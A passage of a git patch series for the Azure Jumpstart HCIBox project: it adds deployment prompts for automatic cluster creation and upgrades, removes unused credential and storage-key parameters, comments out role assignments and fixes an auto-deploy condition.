install updates to cluster nodes if available? [Y/N] " +$JS_AUTO_UPGRADE_CLUSTER_RESOURCE = $false +if ($promptOutput -like 'y') +{ + $JS_AUTO_UPGRADE_CLUSTER_RESOURCE = $true +} + +# set the env variable +azd env set JS_AUTO_UPGRADE_CLUSTER_RESOURCE $JS_AUTO_UPGRADE_CLUSTER_RESOURCE + ######################################################################## # Create Azure Service Principal ######################################################################## diff --git a/azure_jumpstart_hcibox/hooks/preprovision.sh b/azure_jumpstart_hcibox/hooks/preprovision.sh index 9005d37dfb..6135974bd3 100755 --- a/azure_jumpstart_hcibox/hooks/preprovision.sh +++ b/azure_jumpstart_hcibox/hooks/preprovision.sh @@ -56,6 +56,8 @@ fi # set the env variable azd env set JS_DEPLOY_BASTION $JS_DEPLOY_BASTION + + ######################################################################## # RDP Port ######################################################################## @@ -91,6 +93,30 @@ else exit 1 fi +######################################################################## +# Autodeploy cluster? +######################################################################## +read -p "Configure automatic Azure Stack HCI cluster validation and creation? [Y/N] " promptOutput +JS_AUTO_DEPLOY_CLUSTER_RESOURCE=false +if [[ $promptOutput == "Y" ]] || [[ $promptOutput == "y" ]]; then + JS_AUTO_DEPLOY_CLUSTER_RESOURCE=true +fi + +# set the env variable +azd env set JS_AUTO_DEPLOY_CLUSTER_RESOURCE $JS_AUTO_DEPLOY_CLUSTER_RESOURCE + +######################################################################## +# Auto upgradecluster? +######################################################################## +read -p "Automatically download and install updates to cluster nodes if available? [Y/N] " promptOutput +JS_AUTO_UPGRADE_CLUSTER_RESOURCE=false +if [[ $promptOutput == "Y" ]] || [[ $promptOutput == "y" ]]; then + JS_AUTO_UPGRADE_CLUSTER_RESOURCE=true +fi + +# set the env variable +azd env set JS_AUTO_UPGRADE_CLUSTER_RESOURCE $JS_AUTO_UPGRADE_CLUSTER_RESOURCE + ######################################################################## # Create Azure Service Principal ######################################################################## From 2cefa4b246b788d95c4c694e8cec98b1ab54c6b5 Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Thu, 22 Aug 2024 09:49:13 -0500 Subject: [PATCH 503/506] bug --- .../artifacts/PowerShell/Generate-ARM-Template.ps1 | 10 ---------- azure_jumpstart_hcibox/artifacts/hci.parameters.json | 9 --------- 2 files changed, 19 deletions(-) diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 index 75d824d2d2..5451874de5 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 @@ -26,14 +26,7 @@ foreach ($machine in $arcNodes) { $ErrorActionPreference = "Stop" } -# Get storage account key and convert to base 64 -$saKeys = Get-AzStorageAccountKey -ResourceGroupName $env:resourceGroup -Name $env:stagingStorageAccountName -$storageAccountAccessKey = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($saKeys[0].value)) - # Convert user credentials to base64 -$AzureStackLCM=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$($HCIBoxConfig.LCMDeployUsername):$($HCIBoxConfig.SDNAdminPassword)")) -$LocalUser=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("Administrator:$($HCIBoxConfig.SDNAdminPassword)")) -$AzureSPN=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$($env:spnClientId):$($env:spnClientSecret)")) $SPNobjectId=$(az ad sp show --id $env:spnClientId --query id -o tsv) # Construct OU path @@ -49,7 +42,6 @@ $dns = "[""" + $HCIBoxConfig.vmDNS + """]" # Create keyvault name $guid = ([System.Guid]::NewGuid()).ToString().subString(0,5).ToLower() $keyVaultName = "hcibox-kv-" + $guid -$secretsLocation = "https://$keyVaultName.vault.azure.net" # Set physical nodes $physicalNodesSettings = "[ " @@ -84,7 +76,6 @@ $hciParams = "$env:HCIBoxDir\hci.parameters.json" (Get-Content -Path $hciParams) -replace 'arbDeploymentAppSecret-staging', $($env:spnClientSecret) | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'arbDeploymentSPNObjectID-staging', $SPNobjectId | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'hciResourceProviderObjectID-staging', $env:spnProviderId | Set-Content -Path $hciParams -(Get-Content -Path $hciParams) -replace 'storageWitnessValue-staging', $storageAccountAccessKey | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'domainFqdn-staging', $($HCIBoxConfig.SDNDomainFQDN) | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'namingPrefix-staging', $($HCIBoxConfig.LCMDeploymentPrefix) | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'adouPath-staging', $ouPath | Set-Content -Path $hciParams @@ -94,7 +85,6 @@ $hciParams = "$env:HCIBoxDir\hci.parameters.json" (Get-Content -Path $hciParams) -replace 'endingIp-staging', $HCIBoxConfig.clusterIpRangeEnd | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'dnsServers-staging', $dns | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'keyVaultName-staging', $keyVaultName | Set-Content -Path $hciParams -(Get-Content -Path $hciParams) -replace 'secretsLocation-staging', $secretsLocation | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'physicalNodesSettings-staging', $physicalNodesSettings | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'ClusterWitnessStorageAccountName-staging', $env:stagingStorageAccountName | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'diagnosticStorageAccountName-staging', $diagnosticsStorageName | Set-Content -Path $hciParams diff --git a/azure_jumpstart_hcibox/artifacts/hci.parameters.json b/azure_jumpstart_hcibox/artifacts/hci.parameters.json index fef281d9b1..7652e824dc 100644 --- a/azure_jumpstart_hcibox/artifacts/hci.parameters.json +++ b/azure_jumpstart_hcibox/artifacts/hci.parameters.json @@ -23,9 +23,6 @@ "AzureStackLCMAdminPassword": { "value": "AzureStackLCMAdminAdminPassword-staging" }, - "domainAdminSecretValue": { - "value": "domainAdminSecretValue-staging" - }, "arbDeploymentAppId": { "value": "arbDeploymentAppId-staging" }, @@ -38,9 +35,6 @@ "hciResourceProviderObjectID": { "value": "hciResourceProviderObjectID-staging" }, - "storageWitnessValue": { - "value": "storageWitnessValue-staging" - }, "domainFqdn": { "value": "domainFqdn-staging" }, @@ -59,9 +53,6 @@ "adouPath": { "value": "adouPath-staging" }, - "secretsLocation": { - "value": "secretsLocation-staging" - }, "subnetMask": { "value": "subnetMask-staging" }, From 43b2850abc8e41dd3856a9b1af3b64d511eb69d3 Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Thu, 22 Aug 2024 09:49:50 -0500 Subject: [PATCH 504/506] bug --- .../artifacts/PowerShell/New-HCIBoxCluster.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 index e09a2536c2..308f0c8a1a 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 @@ -1775,7 +1775,7 @@ Set-HCIDeployPrereqs -HCIBoxConfig $HCIBoxConfig -localCred $localCred -domainCr Write-Host "[Build cluster - Step 10/11] Validate cluster deployment..." -ForegroundColor Green -if ("False" -eq $env:autoDeployClusterResource) { +if ("True" -eq $env:autoDeployClusterResource) { $TemplateFile = Join-Path -Path $env:HCIBoxDir -ChildPath "hci.json" $TemplateParameterFile = Join-Path -Path $env:HCIBoxDir -ChildPath "hci.parameters.json" From 5a16ba9fa58307c4c7985561ac78fc7f464c9495 Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Thu, 22 Aug 2024 19:06:40 -0500 Subject: [PATCH 505/506] remove cli role assignments --- .../PowerShell/Generate-ARM-Template.ps1 | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 index 5451874de5..efe64ed335 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 @@ -10,21 +10,21 @@ $HCIBoxConfig = Import-PowerShellDataFile -Path $Env:HCIBoxConfigFile Start-Transcript -Path "$($HCIBoxConfig.Paths.LogsDir)\Generate-ARM-Template.log" # Add necessary role assignments -$ErrorActionPreference = "Continue" -New-AzRoleAssignment -ObjectId $env:spnProviderId -RoleDefinitionName "Azure Connected Machine Resource Manager" -ResourceGroup $env:resourceGroup -ErrorAction Continue -$ErrorActionPreference = "Stop" +# $ErrorActionPreference = "Continue" +# New-AzRoleAssignment -ObjectId $env:spnProviderId -RoleDefinitionName "Azure Connected Machine Resource Manager" -ResourceGroup $env:resourceGroup -ErrorAction Continue +# $ErrorActionPreference = "Stop" $arcNodes = Get-AzConnectedMachine -ResourceGroup $env:resourceGroup $arcNodeResourceIds = $arcNodes.Id | ConvertTo-Json -foreach ($machine in $arcNodes) { - $ErrorActionPreference = "Continue" - New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Key Vault Secrets User" -ResourceGroup $env:resourceGroup - New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Reader" -ResourceGroup $env:resourceGroup - New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Azure Stack HCI Device Management Role" -ResourceGroup $env:resourceGroup - New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Azure Connected Machine Resource Manager" -ResourceGroup $env:resourceGroup - $ErrorActionPreference = "Stop" -} +# foreach ($machine in $arcNodes) { +# $ErrorActionPreference = "Continue" +# New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Key Vault Secrets User" -ResourceGroup $env:resourceGroup +# New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Reader" -ResourceGroup $env:resourceGroup +# New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Azure Stack HCI Device Management Role" -ResourceGroup $env:resourceGroup +# New-AzRoleAssignment -ObjectId $machine.IdentityPrincipalId -RoleDefinitionName "Azure Connected Machine Resource Manager" -ResourceGroup $env:resourceGroup +# $ErrorActionPreference = "Stop" +# } # Convert user credentials to base64 $SPNobjectId=$(az ad sp show --id $env:spnClientId --query id -o tsv) From 088c2cbfda5620d3fea127135d0765c8bb3dbb6c Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Thu, 22 Aug 2024 19:07:06 -0500 Subject: [PATCH 506/506] text --- .../artifacts/PowerShell/New-HCIBoxCluster.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 index 308f0c8a1a..8bbc662de4 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 @@ -1812,7 +1812,7 @@ else { } else { - Write-Host '$autoDeployClusterResource is false, skipping HCI cluster deployment...follow the documentation to deploy the cluster manually' + Write-Host '$autoDeployClusterResource is false, skipping HCI cluster deployment. If desired, follow the documentation to deploy the cluster manually' }